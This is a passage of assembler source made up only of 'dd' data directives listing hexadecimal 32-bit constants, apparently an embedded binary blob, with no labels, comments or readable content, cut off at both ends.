3C8D434h, 0F867222Eh, 7800FC0Fh dd 717F14D5h, 7150C947h, 44FF0089h, 8C3EF5C8h, 0BAFE1227h dd 33041400h, 0E034B883h, 0B09B0A8h, 1A477C41h, 37665401h dd 0FCE105Fh, 5B9D0131h, 3C3F51Dh, 0EB96402Eh, 9505A667h dd 0BB26057Fh, 0AED8B4h, 0C35B0E91h, 13D9A498h, 828760Fh dd 5A70C39Ch, 1E49719Bh, 0C0148EEEh, 924B1C4Ch, 0B10F02FCh dd 1DAC7616h, 0BF617140h, 7FB5DBA3h, 27FD0029h, 4878D19Dh dd 8D12994Fh, 0F40338CBh, 90ACEDE5h, 1F0ABC47h, 40A571F4h dd 0C4B5760Bh, 2F0037CEh, 4BAFB722h, 5C5C6A84h, 1F78032Ah dd 817C4A42h, 3DB9C70Ch, 0A083476Fh, 94BBE35Bh, 0E6095DECh dd 1972A50h, 0BD7B180Ch, 0A0C8E4FCh, 4C3B4CE4h, 0A52472DBh dd 0C26200C4h, 43A38E73h, 24CC2926h, 0FE515F06h, 9881B041h dd 4830C4D1h, 903C8101h, 0BB82F40Ch, 0BF765300h, 42C4C98Bh dd 193A001Ah, 547A58E8h, 551385F7h, 5B00D844h, 682B797Fh dd 0BDB73B6Ah, 54D60381h, 0F918C924h, 3360800Dh, 9D20EA3Bh dd 63D00F8h, 2ED8D3D9h, 680317D2h, 0CEF7902Fh, 36390065h dd 0B1550F69h, 0AA12376Fh, 18901F3Bh, 170EBD2h, 0FC0895DEh dd 3066F30Ah, 50B8E68h, 39A9CCh, 0CEC5334Eh, 0A6D813B1h dd 0AE40030Dh, 27E0378Dh, 21C3BD07h, 0C82025B9h, 9C4DE94h dd 0F2D921D1h, 9BFDC82h, 87084878h, 8036ABB4h, 33B140E9h dd 0F648BE59h, 0EC670C7Ch, 312422h, 0FFFE8996h, 8C5223A8h dd 9115400h, 0B8F2DCE8h, 0B31F2E6Ah, 5FB989CCh, 3C5800A0h dd 9F03097Fh, 19598F94h, 9D180050h, 0B8C5D708h, 760EBFE3h dd 0C0C33D21h, 0C8759B68h, 43212C6h, 848E01A7h, 3C6FB5EDh dd 0FB8612F8h, 0D1D10482h, 2C7A091Ch, 0A70708A1h, 0E844C680h dd 90B16527h, 189EFAE0h, 0A1F5A6A8h, 0B00558Fh, 0A95A10F2h dd 151FE0h, 877EB19Ch, 3F597F1Bh, 0CD00BC94h, 47CA73F7h dd 0E19000E7h, 1F0E1115h, 9F59E59Eh, 9778006Ch, 1CB81953h dd 0E69B0088h, 0C2894946h, 0BD008F6Fh, 3AA32DADh, 79E7B085h dd 671200E2h, 0EFA21B20h dd 2D25B7DCh, 0D5F8C873h, 0AE7403FCh, 332B76C1h, 3472A291h dd 42034B48h, 0B0ACF68Eh, 0A8DF9074h, 0FE730E2Fh, 0F961BBD4h dd 0E0D6F86Ah, 0AE0057E2h, 0E9BAE387h, 0ED480h, 0F824FBE1h dd 0CA118DEBh, 61FE4C01h, 0C2839760h, 6F4BE8h, 0F6DDAA81h dd 0D235B25Dh, 0BB59E70Eh, 0E33EE36Ah, 0B0F1D0F0h, 75880F05h dd 0F20051A8h, 0C0BA9F1Ch, 0DDF36E12h, 176A50E0h, 3967914h dd 5FF8CCD8h, 4032ADB1h, 4649C98h, 6D8EA30Bh, 66200BABh dd 32FC3F7Ch, 66039D3Ah, 0AF0B9CC6h, 92AB7AC0h, 0F22BAC1Ch dd 0D042AE84h, 0F00FF885h, 0C0B98E31h, 2A08EC15h, 3C849024h dd 649C87E4h, 0CDA280B6h, 60B9E91Eh, 0D684BCA0h, 690B12F4h dd 0D8C89392h, 775907AEh, 10377673h, 0EC22F411h, 71E5100h dd 98561D71h, 0C6E007EBh, 502A1CABh, 6C781B46h, 0B226A500h dd 0A206E602h, 0EA400024h, 6B993B0Bh, 3300ED59h, 0F3B36611h dd 0A7345Fh, 8B61D837h, 0C2C8803h, 0C245A31Fh, 7A507700h dd 10DAE6h, 8CDBE341h, 8296180Fh, 2B7E9D01h, 39490AE1h dd 1C4E7F30h, 0BE998967h, 55F28F00h, 1AFCA510h, 0FA12C6FCh dd 0E2019EE5h, 0B204544Bh, 7F1ACC8h, 16070989h, 0D03EA055h dd 9D0364B4h, 0C630D7BEh, 0B687D0D9h, 0FA450E10h, 0BD00FD77h dd 307338Eh, 59A70F30h, 0C6EC930h, 357729C2h, 0D10F6248h dd 20E410AEh, 0B4F8BBA2h, 0A6E2001Bh, 0DA58DB2Fh, 600A46Dh dd 7F73709Ah, 23AEF11h, 2D8F0732h, 95601E65h, 380F6A2Bh dd 0BED516h, 0AD944EDBh, 1C9C0EACh, 85A05446h, 0A6C59888h dd 8C6AC90Eh, 4E260079h, 206EF9h, 0A9834CB1h, 574A7F5Dh dd 68B0B376h, 3DA12A39h, 57D0070h, 1D948D1Bh, 0CA020071h dd 0A80E4C5h, 69009D87h, 8843EAC3h, 197CFAFh, 3E7F3D0Eh dd 50327C04h, 4B120D84h, 0BC5B3B28h, 0AE2C6500h, 43A4504Fh dd 88235451h, 10D900D2h, 0A1777E57h, 0E701FFBCh, 6F7558F0h dd 0B260F649h, 0EC98009Fh, 0AF6A22F2h, 0BF00B6D0h, 62AD97ABh dd 84FCF5h, 993DDF2Bh, 59572483h, 0B6F08703h, 0B0C19B18h dd 0A74601Ah, 0A7096B3Bh, 1882097h, 53E21EF2h, 0D4E6BF54h dd 0C7070E35h, 74BA7ECCh, 63958CB0h, 0FEF503FDh, 48313AB7h dd 8E0CBC00h, 0A6CFC2C3h, 0FF400086h, 4CD9B814h, 0E0059B1h dd 0FED2CB7Bh, 0B8F2C34Eh, 0CA8F2E49h, 785718E0h, 0F80098A0h dd 1661B932h, 1D78050Fh, 408D2414h, 0ECC52183h, 98B070B8h dd 0EA9A4A1Dh, 0DCE24500h, 3A24D19h, 84522CC0h, 0A5A8741Fh dd 0A10002F7h, 32A78629h, 0D74DF6h, 0A4BD65D4h, 0F3C5C9A2h dd 6389CF00h, 66DA0F9Eh, 0AB4F24DBh, 8EE19054h, 77160D2h dd 90BA8Ch, 0A43ABCC7h, 3FDEE4B0h, 450B4600h, 59FB4EA9h dd 6EB50711h, 207ACA54h, 14EC44E3h, 0E4A78D03h, 0C828536Fh dd 7024CBCh, 8E69CB47h, 0E6860097h, 3800C5F0h, 4F4A5227h dd 0FA05CADh, 947B90D9h, 5DE48EBEh, 0F31699C0h, 2401DFBFh dd 0A5FF0273h, 0C03FE8ACh, 7A17FEF2h, 0A8489228h, 0EE7700Fh dd 0ECF0E020h, 12B1A991h, 0F5BADFh, 94FFF302h, 3D7EB888h dd 5F1AA40Fh, 0EC0B00DDh, 0FC1D89D1h, 0FE8D30DEh, 45CA2258h dd 8B99D400h, 2092ACCEh, 0FD0FE77h, 22F6C967h, 6CB1DC21h dd 89E1E07Bh, 3FC8B612h, 0F4A92420h, 80AB486Eh, 0F5348E00h dd 24CDB0B9h, 9B7BC400h, 2A5C104h, 6E2F0122h, 3ECE2C9Fh dd 905C208Eh, 0C53AE91Ch, 0B9C71780h, 0FCBD4Eh, 99F9DD15h dd 0AD5F2B28h, 782490ECh, 0AE306054h, 260EA8E8h, 81287307h dd 0D7FC9036h, 86B9CBEAh, 2AB4244Eh, 340BF824h, 67230E00h dd 24266360h, 0CB4Dh, 7A059FD1h, 0D00056B2h, 0C5CD4411h dd 59A05Dh, 2C4CF2D2h, 0AB77F738h, 41405658h, 4044C4FCh dd 552A600h, 0BD22D4DEh, 0FEF07486h, 5E9A0063h, 1844C3C5h dd 0DA002CF4h, 5B4EBAE7h, 0F924834h, 0CC018815h, 8740C525h dd 0D928E0B7h, 1D01CFDAh, 51FFBDA4h, 0FBE8D7D3h, 471700BBh dd 0EE8C9577h, 0A1FA328Ah, 0FD04F97Fh, 4A71BEAh, 18EB6880h dd 7A0B80EDh, 6A81071Dh, 0BC0152C7h, 0A1519B57h, 0A0408297h dd 34F34Dh, 54EF53A3h, 300F3303h, 264DC3Ch, 579E152h, 0F916C026h dd 0DF50796h, 905B24C1h, 278285E2h, 78A3B638h, 7FF8D700h dd 0F0889B06h, 0AB3C0090h, 0A9039893h, 0EC007E2Eh, 0A06EDF50h dd 39DAED6Ah, 0A10ACCCAh, 81D05609h, 72FA7182h, 8EC840FDh dd 4F708108h, 0A000BC98h, 3F731C06h, 7834110Dh, 8A490077h dd 0B19FC70Fh, 0CB008219h, 0EF32CF7Fh, 98F4C4h, 0B55D4007h dd 702BE334h, 0FDDE6400h, 0BFEC19Ch, 40F90086h, 1B07B046h dd 0E71696CAh, 1500127Ch, 3F4748F1h, 0AA9900BDh, 14C139D7h dd 0E5023852h, 9BC69A1Dh, 79514031h, 894204CCh, 806781FCh dd 2EC2B48h, 0B2090F72h, 0FA759A4h, 1C84F2Dh, 0C6A1472Ah dd 58F1DD8h, 0EE045808h, 502AC7AAh, 0D718BA29h, 0DF9D5500h dd 66BBC05h, 0B50A01CCh, 2E1EB1A4h, 3BD83329h, 0C7348133h dd 7520241Bh, 0A0DF0h, 91C9C19Dh, 0CE112B1Ch, 9F581700h dd 5D2F9445h, 0CAE6B6h, 3D993C31h, 8C83A385h, 0FF7738A0h dd 0B5EDD800h, 6B48BB8Fh, 3B907DB7h, 70007568h, 0D2BFD1C9h dd 0CC74D049h, 58247E00h, 0B8FA7319h, 0C4EB003Ah, 0CDFB1840h dd 0F100A651h, 0DDD7CA0Ch, 2C7F4C1Fh, 16B03EB7h, 0F204414Fh dd 2003F0F8h, 3B7BC6AAh, 0D6DA0200h, 48A1A331h, 0E5011362h dd 9F405DD7h, 0EFB2C2BDh, 0F448EA8Bh, 0E100E307h, 1FC2A359h dd 9FAD9E2h, 7A1328A8h, 0A10E10A1h, 0C0C0D2ADh, 980E462Bh dd 8E458019h, 1D069633h, 121F6BCh, 47A1F27h, 0F8E1375Dh dd 0C5102EF5h, 0FA0EF473h, 935E36BDh, 0DCFC59h, 2590F176h dd 96F7D8h, 0A68AA8B3h, 0FB2F6AFAh, 0D1ADAA00h, 7576519Bh dd 54711C98h, 14800C3h, 9352CA2Bh, 633BE93Fh, 0EC8FA8h dd 6D35EE60h, 0F3EB4753h, 9744F0E1h, 0B1FDE300h, 0FFE6E2D0h dd 6175075Bh, 0C924B9CEh, 7A20488Fh, 8D55A144h, 1CE2AD03h dd 5DCA4Dh, 602CE618h, 2BAB76B6h, 0F1383E70h, 5F7F98FEh dd 0FDA10920h, 2BF28040h, 2CCB016Bh, 0AB759B15h, 7AD5C4C7h dd 0E9E15303h, 6AA013Ch, 0ACFEFD18h, 0EC2C408Fh, 1607F739h dd 8F094CDh, 39F7074h, 0E78A99DEh, 2A09C5Eh, 40726DCEh dd 0DD67ED03h, 30E025BAh, 0CE091B18h, 0E083C2B8h, 0B4EC155h dd 0B0E83CBBh, 0E4A04580h, 0ED0FFA95h, 0E02E2A4Dh, 0CFFF99F3h dd 41966031h, 0B1304752h, 0ED7F100Ch, 68258D2h, 6EFC709Ah dd 64606928h, 0EBA06598h, 2418193Eh, 80BD6050h, 0A1E0AA71h dd 395247h, 26CBBA32h, 4B200CD2h, 9ECD1500h, 89028377h dd 13860075h, 49DD23B7h, 41008FA6h, 7EF32008h, 1C52A16h dd 77395663h, 407D1DC4h, 0E28C7FDEh, 0D251C175h, 0C6041E7Ch dd 14513931h, 8C6E32B8h, 0CF5B591Dh, 36C0833Eh, 31E82B1Bh dd 6E5224Ch, 71548F47h, 87F4229h, 10D4194Eh, 5B63848Eh dd 900C615Dh, 888A516Fh, 4100341Dh, 1F1895C0h, 0DA577Fh dd 1CA25211h, 0E0AD59E9h, 0EA53B000h, 0DF1DCF9h, 24BA7AD9h dd 1CBF399Ah, 773E7036h, 0A2075517h, 20033CF3h, 0CBC544E0h dd 62FB0408h, 80BA60FFh, 199FB37Dh, 0A7E8C202h, 804F83D7h dd 0F5DFCEC8h, 4D99006Bh, 0FA37716Fh, 0A2008091h, 0ACA62EE3h dd 0F182DFh, 0F0FC2517h, 0EC9D3EB9h, 33BB418h, 1FCE7E20h dd 0C0D126C1h dd 658CF82Bh, 4201E210h, 0B8D6F352h, 0E8F0BC24h, 0BE6400B3h dd 0DB9F84CBh, 1902B06Ch, 24B17E52h, 86CC80D7h, 3380826h dd 57CBC299h, 0EBC88F73h, 7601B2D4h, 0CB15C17h, 2CC98C3h dd 0E022501Eh, 94F10121h, 0C469C69Eh, 0E49FD05Fh, 8B037C00h dd 5350E295h, 0C5DE05CEh, 1AC385h, 5B93686h, 1FEE9779h dd 3321B100h, 5296E695h, 9FA100DCh, 94C82D2Fh, 3D0EBCE4h dd 0B081EEh, 0F46C96F8h, 813F480Ch, 0A2941B00h, 3533AD6Dh dd 0C349B800h, 9D548469h, 4E4B2ED2h, 38342872h, 0D05CD376h dd 127411Fh, 0EFA21EFh, 5031E07Bh, 23000571h, 1F0C624Bh dd 72D65F9h, 7212EC03h, 2E0E8084h, 0EF00FDC8h, 0FB8A5D16h dd 0A2CEAD4h, 93FC9CBCh, 0C35C07F8h, 0ACA18FBDh, 0FC6C26E6h dd 560B8D3Fh, 0AE952A3h, 8407FE2Bh, 40BEFD7Dh, 5133E16Bh dd 1BDE00C5h, 0AC215370h, 0E31437E4h, 4E0B883h, 76AAF27Bh dd 5E35ECC0h, 0B1280264h, 57A7F807h, 6DED7760h, 45004EEEh dd 0E6A2DBFDh, 428CCCh, 0A87A1640h, 47C178E5h, 1DF24E0Fh dd 0A4E017C4h, 0B8581D2Bh, 0AD790074h, 2FC7114Ah, 6267CF13h dd 56360F00h, 0A9FB6Ch, 0F71937FAh, 13B9241Dh, 0CB2EC503h dd 9759D5F4h, 5C7880F9h, 0E752A42h, 1AEC0CE4h, 73997740h dd 0D60EEA9Eh, 0A9A3F535h, 0BB00809Bh, 0BFDDAFCh, 0DE56A085h dd 0FEDB9901h, 0A864E0BEh, 1400F6B8h, 50F7D6A4h, 783CA190h dd 5BCA03D3h, 35B372EEh, 0E85986E1h, 9500FD96h, 8BCB8A92h dd 0C2568Eh, 64E7BE04h, 4E1C1724h, 83D14700h, 7E46A338h dd 3DE6B5h, 142DC5DDh, 9F67ADE9h, 7D5D6E03h, 0C81D7C3Fh dd 0E5B6EEh, 0FCC7AFDDh, 60BE898Fh, 4CEB8700h, 56E3D236h dd 0BFB600CAh, 92A5629Eh, 0DB600E54h, 0F7BEC218h, 0EA32FEC4h dd 0D29548CCh, 0C9929609h, 18CE0055h, 0EC5C44F6h, 0CFFE3F01h dd 3BEBB500h, 848D36D3h, 88733300h, 58213DB2h, 0CB60027h dd 44130189h, 15009174h, 0F36A35D0h, 19F90C1h, 0FBCCB5B8h dd 0FFE73DC5h, 38255080h, 5ECBC300h, 0DC03BBE9h, 80A0084h dd 86A05685h, 1E486BFAh, 479E00FCh, 1975A7F0h, 1AF10392h dd 3B448D7Ah, 14EF18C0h, 0B5B66D0Ah, 0AC00A002h, 66B20161h dd 0A8820377h, 8BFE4AB0h, 591778B8h, 0A13FAE00h, 0B524083Eh dd 1381001Ch, 4F72DBC1h, 2D3D18A9h, 0AE9B05B8h, 7040B43Ah dd 0DF172E9Ch, 3D890C2h, 711D2A32h, 8CE89A6Dh, 110B83C6h dd 0C75BF5h, 313F4760h, 41BA0377h, 0DC3CF784h, 0E6A0FB90h dd 291BF402h, 805127AEh, 3D1388A9h, 0A156005Ch, 3FFDB37Bh dd 75F2E396h, 0BD658E00h, 2AF951D4h, 66C600A7h, 96A8FF6h dd 70ECDB0h, 805C62FAh, 992ADC5Ah, 190F00F2h, 504D0AE0h dd 0ED00963Eh, 3A054CDh, 0FA393A9h, 0D8512163h, 9A89FA83h dd 0EAA4D0D0h, 0B1A64600h, 0D27F6FAFh, 35340FF2h, 9CA3B699h dd 0D9D0319Eh, 4D3C73B3h, 5D600017h, 0E48A8D6Ch, 17700B9h dd 0A6DEB4A1h, 0F000AACEh, 0E79FB028h, 24DA82h, 81100141h dd 0E6487BDDh, 2A61EA04h, 0B880956Ah, 0F64AE443h, 1F08074Dh dd 0A33F6D06h, 0CDC0A6E7h, 6A007F16h, 68DA0C5Ch, 4FC858h dd 12F51F74h, 78DD559Ch, 0FE704D00h, 162AED87h, 800A72ADh dd 0BA0B4F66h, 330CE3Fh, 880EA764h, 96235Dh, 5EA2CC43h dd 57E8415Fh, 0F6073876h, 97189253h, 0BE7E24C0h, 13B8A010h dd 0CC9307F3h, 0A1D12Ah, 1102DF78h, 0B450500h, 0CF73AD4Eh dd 79843BC7h, 1A544B80h, 29706F41h, 0BC0B9900h, 69AD012Ch dd 23EE00E3h, 0D10520A1h, 20C0789h, 102C28D0h, 6EB08Ch dd 0EEA141DCh, 0CAC095C9h, 463E0400h, 9B518810h, 0BCFE54h dd 66B6224Bh, 11442A4Eh, 91963Ah, 10B0327h, 0B09CF47h dd 0B7292839h, 2180538Eh, 84BC8595h, 2DAA0500h, 10FE4D4Ah dd 0DDA901D9h, 2C97F3D2h, 6A0BFC69h, 0B8F578B7h, 74330004h dd 991C3653h, 180755BAh, 11375C4Fh, 0AFE79880h, 75617F3Ah dd 0FECC008Ah, 0A536951Fh, 0A379035Dh, 273D4801h, 9C4C57AEh dd 503AF960h, 196D0A8h, 0BE780A06h, 0C83B321Eh, 5100C2A4h dd 31F02BB5h, 502583h, 9956A5A1h, 48B339C4h, 9FAE1400h dd 4D7D90BAh, 0ECCAEC35h, 668F00F5h, 0F94A6AEEh, 7F3FC182h dd 891B1C4Ch, 0F8B906C3h, 0DC700053h, 1E8FDB69h, 0E613A4F0h dd 7E0303BFh, 809ECA66h, 3F44BB3h, 0C504481h, 43B856A6h dd 300003DCh, 40272853h, 11E885h, 6792A844h, 0E960A6A4h dd 1D0016EEh, 95454073h, 49710h, 79230946h, 0CEBE0C89h dd 3000DCE2h, 9E4F1CE4h, 190D4h, 0A13A612Fh, 0E1BC79B0h dd 477E2E00h, 0EABFD1Ah, 513C026Ah, 0C501D484h, 0A31526C0h dd 667AC300h, 0A7F53109h, 2D4E0A69h, 9AAF71h, 0DC492A5Eh dd 82007A33h, 0E0054DCFh, 3BE992F0h, 5900D2F8h, 0B846232Dh dd 0A5000418h, 2F24305Fh, 72E13D0h, 0D136B5B3h, 6181FFB7h dd 204E0748h, 3F119104h, 7900ED7Eh, 0B1A73892h, 0CE3BDB67h dd 0D4E380DDh, 0A3B8877Eh, 61C10035h, 0B28FB0BEh, 0F514DED3h dd 2C0D8EDh, 0C1ECCFEEh, 1A8AE029h, 7BC90274h, 0D5F8EBAFh dd 37DFBFC0h, 3366F301h, 0A776ADF6h, 82E42BC5h, 9752002Dh dd 0B9FF173Ch, 0B3ECE311h, 79628016h, 0D9C1D800h, 25BB8Ah dd 0CDE601F4h, 2D75A560h, 0B0F5A43Bh, 0E46112Bh, 742000EBh dd 676F027Eh, 0B1001887h, 0D4F5312h, 6DC415h, 1F2CFE4Ch dd 3FC8A5Ch, 80044600h, 0DBB5D693h, 260239DDh, 90E22280h dd 0C7CEA1EAh, 68C38B00h, 0F0AB608Ch, 0AB40FD0Ah, 1EA49833h dd 4FB1EF75h, 5EA06B72h, 0F4AE6530h, 0A92FC509h, 8F6460D9h dd 0CFB102E8h, 3580AC1Dh, 39E215E0h, 0BB603C0Fh, 7D558752h dd 427B33F0h, 5C1C0219h, 5D3E6F20h, 490824E0h, 3D006CB0h dd 121B8C69h, 38DD6C6h, 6A8BA2B2h, 684CDEF1h, 0FB0F009Ch dd 8744D950h, 3117EA31h, 589EBDDh, 0AF2985DAh, 0A6C3869Bh dd 2B38A0E3h, 5118C099h, 85309F13h, 83CB4207h, 0E6B069D1h dd 3ED516h, 0B5728D59h, 0C3765F62h, 3B400600h, 80A2DC86h dd 0A65E306Ah, 9B196D40h, 4CC64128h, 71685160h, 83EF94h dd 785EF93Dh, 0EDE1DEAEh, 64A70B0Eh, 0FE31A09Dh, 47FC9Ch dd 4EC805F7h, 0A05794B8h, 0E4536B00h, 0A98FD4EFh, 2B6E00EEh dd 8C5B23E8h, 95F031E1h, 64363D07h, 0F1503C8Dh, 3DB7CFEh dd 0DAC42E68h, 85B8CBBDh, 0F704E1ABh, 28B77EF9h, 143F91C0h dd 0D7A7007Dh, 3EB8CC74h, 4C00E550h, 3D5BF194h, 0F8DECDFh dd 410FC518h, 785130E0h, 0A001CFEh, 4E7AB886h, 0A6A03Bh dd 8E98EA0Fh, 0CB9B7921h, 180B1500h, 5D8D279Ch, 0AE3200FDh dd 0DC4A22C9h, 70FEF971h, 3BE04103h, 0C04F08EDh, 121C5786h dd 0C0063AE9h, 0C53ACDCh, 9A0E6F13h, 0A8CF6E00h, 7A34694h dd 57C0BE43h, 50B11060h, 820055FDh, 0A1B9F7C9h, 3DEBB16h dd 628377A7h, 51001035h, 181FD357h, 9BFCE8h, 44F79848h dd 8D9AE76Ah, 14B6AC02h, 70E454F3h, 57BA3EA4h, 0F17CA887h dd 0CCA4C04Eh, 0AB244187h, 0E0991D0h, 7ED8C0FAh, 9121000Ah dd 1FEF8E18h, 3C077F94h, 985C9010h, 0D2B45047h, 3D87E700h dd 9706CD41h, 8332302Eh, 4230C0F6h, 6E9DE2C7h, 8718D500h dd 26FEAF0h, 40794E10h, 953E83ECh, 9F7C1BADh, 49CA4C00h dd 46A1B63Dh, 6EFA18E0h, 0AB02F8ECh, 11593F19h, 7D202939h dd 0D4D900F4h, 0B5B7F231h dd 0E12C912Ch, 0B400A093h, 69596A4Bh, 5530C742h, 0EB4F5012h dd 3600EC91h, 6EF22A60h, 3A0A791Bh, 9CA4E0D9h, 0C79306B4h dd 0F15610C4h, 4B6BE004h, 7810C082h, 1F5DACDCh, 0C0367A00h dd 0C3488CDAh, 2A230089h, 0CF7D416Bh, 4B327FC4h, 20D229E2h dd 0C6EBA386h, 0A519D03h, 81B2E8D0h, 0FCE0CAF7h, 901600DEh dd 0D372C0C5h, 0F60006E1h, 0EC10A67Dh, 618B42h, 8ABF735Eh dd 28087FE8h, 0F1161400h, 0A81B4C75h, 0F180048h, 21413B47h dd 8C00EACEh, 0B5E89007h, 529C5Ch, 51D7C6A5h, 0ECBA03B8h dd 0F821E500h, 0A48355D9h, 5449001Eh, 2E89285Dh, 0FA0086DFh dd 33C7084Dh, 0FA3DAE0h, 1E8EDDEh, 0B7C01B61h, 9047E5h dd 34BFF75Bh, 0D71C6600h, 11D8D6FDh, 3346004Eh, 0E5F608CEh dd 0A202CFD0h, 0E99CAC82h, 5C83E036h, 4113007Eh, 1F74263Dh dd 8C036C49h, 1B8EABFFh, 0B07807FDh, 0F0C547EAh, 97BA9DB8h dd 4453700h, 0E235FB3Fh, 23B3006Bh, 0E8DE8543h, 0A200D55Bh dd 9F47AE86h, 256A76h, 0E77D8364h, 8E82A94Eh, 0E86E000h dd 0D2BE8870h, 8D1002Eh, 6EB9F007h, 0C575BF97h, 0C18C9900h dd 76BE59A8h, 0B5532E5Fh, 62D9003Fh, 837F503Ah, 0FC9EA72Ch dd 8868003Dh, 7D583F1Fh, 3E340096h, 95DB3191h, 87488351h dd 7CCC261Ch, 17DD6800h, 0FCDF21Ch, 0AE75CE08h, 0DFE81A00h dd 763AD70Bh, 34870056h, 0C792FFD9h, 9FFC01E0h, 0B42C1E51h dd 78EDEC58h, 0DE9E8F00h, 6E7D39C0h, 4C82001Ch, 7E0A5AC5h dd 55008BF7h, 0DB02AFCFh, 71D559h, 9E12C783h, 0F9DD7B13h dd 7C7DFC00h, 8E2E1193h, 25E601E1h, 0BB14A8C0h, 7AC5308Ah dd 0E50A3A00h, 41BEAC57h, 90020047h, 0E1EDF631h, 0B9004D39h dd 0D7F79B1Dh, 94AB5Ch, 470A0776h, 4B1105C6h, 242A2C3Fh dd 0C40052FFh, 0C970384Ch, 1292004Ah, 4D8B3A33h, 8E002FF6h dd 866C5098h, 0D6F776h, 58A52688h, 7D40127Ah, 0CF1F7F00h dd 0F96BAB9Eh, 0F8681E7Bh, 0D75F8A2Eh, 9CEE0780h, 74C551CAh dd 0E3803017h, 542A2400h, 3728580Eh, 5A655C0Fh, 2670C700h dd 17F3ACF2h, 0DD847750h, 0C546D106h, 17F0B944h, 1F4E29A7h dd 1B6642CCh, 2068DB17h, 0AC01359Fh, 0FF0F2224h, 0D82060AFh dd 5E200732h, 1025A693h, 4D0C3957h, 4A26AAFEh, 1F804AB2h dd 1734813Dh, 830F004Fh, 22957DD0h, 461DDBFBh, 4440E580h dd 675E895Bh, 0A7350F93h, 2FCEC95Ah, 0B20A1A20h, 100DA59h dd 2EF43C98h, 481D4325h, 5048EFB5h, 804D7B14h, 0A0C11000h dd 9FBAD9B6h, 1AFCF300h, 0CBEB3A71h, 0E5D43C98h, 279E9A02h dd 0E44078A0h, 0E1C09480h, 0EADD1840h, 0B775001Ch, 67297B2Ah dd 0BA00F08Fh, 2CDAE5F8h, 3C565C05h, 6B0052C9h, 757B1E78h dd 0A100077Eh, 196EF1A5h, 0F64AE7h, 0A7595C89h, 0BA02AA44h dd 0BCFE8400h, 75EA570Dh, 0A08000FDh, 157EFCCDh, 0AF01EBF6h dd 8681BE92h, 0E0E8D2C1h, 0D44A00F0h, 5ADD25FCh, 0A9C0556Bh dd 9967214Ch, 43054C19h, 49743E03h, 0CEC05D96h, 470738C1h dd 4BBA9F52h, 0DA6B62E0h, 0A540E73h, 20A0AA80h, 3492CE2h dd 4C81B000h, 511575E4h, 0E41767Dh, 3F610A9Ch, 5FC0D44Eh dd 543D0242h, 0B03ECC00h, 0E1844DFEh, 61D6001Fh, 0D9BF46BCh dd 94009566h, 21DDD558h, 390E7822h, 4E802E0Ah, 7CF1C4B0h dd 0D33E0523h, 4A9E8037h, 0A2BC5BB1h, 589B00BAh, 0C3A42A3h dd 0EB00CE2Bh, 62300626h, 7434C7Bh, 0ACE0288Ah, 5FA1604Ah dd 0F50059B4h, 0D9490664h, 0F56B35Dh, 0F97E95B9h, 0BE7B35A0h dd 8A05DBCAh, 32D392DDh, 608C0FC2h, 0BFCBA2h, 5D80742Ch dd 0E4A7FAE9h, 0B81C0A01h, 0A5CD35F9h, 2482A760h, 1E7E81FDh dd 0E7840077h, 5F56AD0h, 0A2FED107h, 7496E26h, 1E0EBA74h dd 0AD27E000h, 72B3C49h, 0B29D65F3h, 285510B8h, 90006AF2h dd 3C85AEDFh, 17CD25h, 91BF7B33h, 1CCC2C38h, 0D18F3600h dd 0CF541E8Bh, 68170161h, 966DD577h, 0AC608318h, 0A3DAC68Eh dd 0E859C00Fh, 654338ECh, 307F1974h, 815F8846h, 2667110h dd 18407A9Ah, 31B1A6Dh, 0A45F4AA9h, 0BFA1C2A5h, 0A73960F5h dd 1AAD5E00h, 9E81B0Ch, 6D5400ECh, 0CC5DC815h, 0E30662D2h dd 0BA142A95h, 0A30F0088h, 0BC995F3Ah, 0D10CFFCCh, 0B6AA6616h dd 0FC7B05DFh, 0B84E1Bh, 0C304605Ch, 0CC0C773Ch, 191A656Dh dd 0DAED0098h, 8B1BF457h, 2070ABFCh, 0BB4C2518h, 0EDC369h dd 9BB13215h, 7F2814B8h, 0E4D05F00h, 0CE92CB2Dh, 31C400A6h dd 0E64FF9EEh, 0B90EED35h, 3DE2C60Dh, 873EFA40h, 0A4D20h dd 920B600Eh, 48588B56h, 5320FD71h, 652603D8h, 57326F81h dd 20A877E1h, 350CF00Eh, 0B1197F51h, 36D3008Fh, 0CC147396h dd 78F2F6FBh, 8D0FA439h, 29E866CEh, 106E0h, 6AA5AAA3h dd 1AAB0C58h, 8306074h, 897420E7h, 363E00C0h, 0C830BB52h dd 73007AD1h, 0F6F512BCh, 296559EAh, 1E0D7F8h, 1B0A9AE0h dd 3822FFh, 95E7A70Ch, 0E1CB462h, 20CC25E3h, 0E5210D8Ch dd 60E7BF00h, 0C4F25E15h, 0CE34E0BDh, 0E101FBA1h, 0E0BCB546h dd 0D1C90745h, 0DF140055h, 0B8A6E005h, 828880B1h, 1D9D1828h dd 4EEFE10Ch, 150A348h, 8FFF3A43h, 0E4D0C3FCh, 0D820C727h dd 0E1003B17h, 54A15C19h, 0CA4E7100h, 0A6E12881h, 583B602Fh dd 0A9FBE861h, 3921D703h, 0C07855CFh, 0DFF15Bh, 0F47F25D1h dd 5E2A35E3h, 7AC33300h, 154F6786h, 0C07D4B3Ch, 43902083h dd 460C9800h, 0D2729C47h, 83B00E5Dh, 0F7A04FB4h, 5407977Dh dd 231D39h, 15BE8DFBh, 1E3C01A5h, 81F1E7C6h, 0A8908FB0h dd 0FB60E279h, 0C8008631h, 320FE1CCh, 3F385FF9h, 81806066h dd 1BFEE89Fh, 0B3004784h, 0C942C7Eh, 0D9E1D4h, 0DD073B87h dd 83995396h, 24866800h, 5BDEFA71h, 72A737Fh, 7EC78A79h dd 0A5AE7120h, 446FFC04h, 4DEF4E0Fh, 898F40A3h, 74BFFCDh dd 0BBD19819h, 0E7A64312h, 85002079h, 638DE989h, 7F9CB7Ah dd 0DF1C7E4Eh, 0C2907CA8h, 78A53201h, 5064C079h, 0AF82B080h dd 779F44A9h, 0F14DFA01h, 98AE6A58h, 0C9837980h, 651BF93Bh dd 1A72B507h, 1443B4BDh, 0DA20004Fh, 0F0D53BE8h, 850D9960h dd 68D91826h, 46C85C06h, 898C016Eh, 1263FF2Eh, 0BD888D0Ch dd 16890383h, 4ACEEAA0h, 9144D7B1h, 0F4846998h, 0CD7D813Bh dd 154C52B6h, 3B1FD920h, 0F0CDFC02h, 846B302Eh, 0B2ED9048h dd 51135C01h, 0DAC4661h, 78203Ch, 2AB08C54h, 0A7E83FD9h dd 0B65F7600h, 0C526AD8Fh, 81E0007Ch, 94F8ACE2h, 0DE003D75h dd 0E65FDD43h, 0EC9F6Ah, 5D7F6F8Ch, 75A120Bh, 7E62D600h dd 0B8C96CCBh, 0F83600E9h, 